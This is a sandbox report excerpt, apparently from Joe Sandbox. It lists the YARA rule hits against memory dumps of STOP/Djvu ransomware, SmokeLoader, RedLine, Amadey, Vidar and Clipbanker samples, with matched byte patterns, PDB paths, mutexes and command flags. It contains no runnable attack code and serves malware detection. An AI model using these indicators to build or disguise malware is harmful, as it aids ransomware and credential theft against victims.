00000026.00000002.501652652.00000000007C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000019.00000002.473949878.0000000002434000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000026.00000002.508616217.0000000002231000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000026.00000002.508616217.0000000002231000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x244:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000023.00000002.618034875.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000023.00000002.618608332.0000000000E01000.00000020.00000001.01000000.00000018.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000026.00000002.506871844.00000000007F8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x72c1:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000000.474017727.0000000001001000.00000020.00000001.01000000.00000016.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0xe03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000000.474017727.0000000001001000.00000020.00000001.01000000.00000016.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xafa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 00 01 6A 00 6A 00 FF 15 40 40 00 01 FF 15 2C 40 00 01 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 00 01 0xb87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xb87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0xf35:$regex3: 56 8B F1 56 FF 15 20 40 00 01 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001C.00000002.488812684.000000000228A000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.380129580.0000000002400000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.380129580.0000000002400000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000012.00000002.451349547.00000000023B3000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.445989950.0000000000738000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x75dc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000028.00000002.618179009.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0xe03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000028.00000002.618179009.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xafa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 9B 00 6A 00 6A 00 FF 15 40 40 9B 00 FF 15 2C 40 9B 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 9B 00 0xb87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xb87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0xf35:$regex3: 56 8B F1 56 FF 15 20 40 9B 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001E.00000002.477600932.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x188d3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000002.477600932.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1897d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x18a05:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000007.00000002.460214856.0000000000838000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7469:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000023.00000000.475540855.0000000000E01000.00000020.00000001.01000000.00000018.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.520904242.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000020.00000002.522623167.0000000002345000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.445573902.0000000000700000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.445573902.0000000000700000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001E.00000002.477942290.0000000001001000.00000020.00000001.01000000.00000016.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0xe03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000002.477942290.0000000001001000.00000020.00000001.01000000.00000016.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xafa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 00 01 6A 00 6A 00 FF 15 40 40 00 01 FF 15 2C 40 00 01 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 00 01 0xb87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xb87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0xf35:$regex3: 56 8B F1 56 FF 15 20 40 00 01 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000004.00000002.445509996.00000000006F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000023.00000003.520904242.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000028.00000000.480111248.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0xe03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000028.00000000.480111248.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xafa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 9B 00 6A 00 6A 00 FF 15 40 40 9B 00 FF 15 2C 40 9B 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 9B 00 0xb87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xb87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0xf35:$regex3: 56 8B F1 56 FF 15 20 40 9B 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000023.00000002.618034875.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000023.00000002.618034875.0000000000BE5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000004.00000002.446406704.00000000022D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.446406704.00000000022D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000D.00000002.450548636.0000000002490000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000022.00000002.483526399.0000000002410000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000022.00000002.483526399.0000000002410000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001B.00000002.490286812.0000000002380000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000018.00000002.478487593.00000000008C8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x15b8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.380107918.00000000023F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.442702951.00000000024A5000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
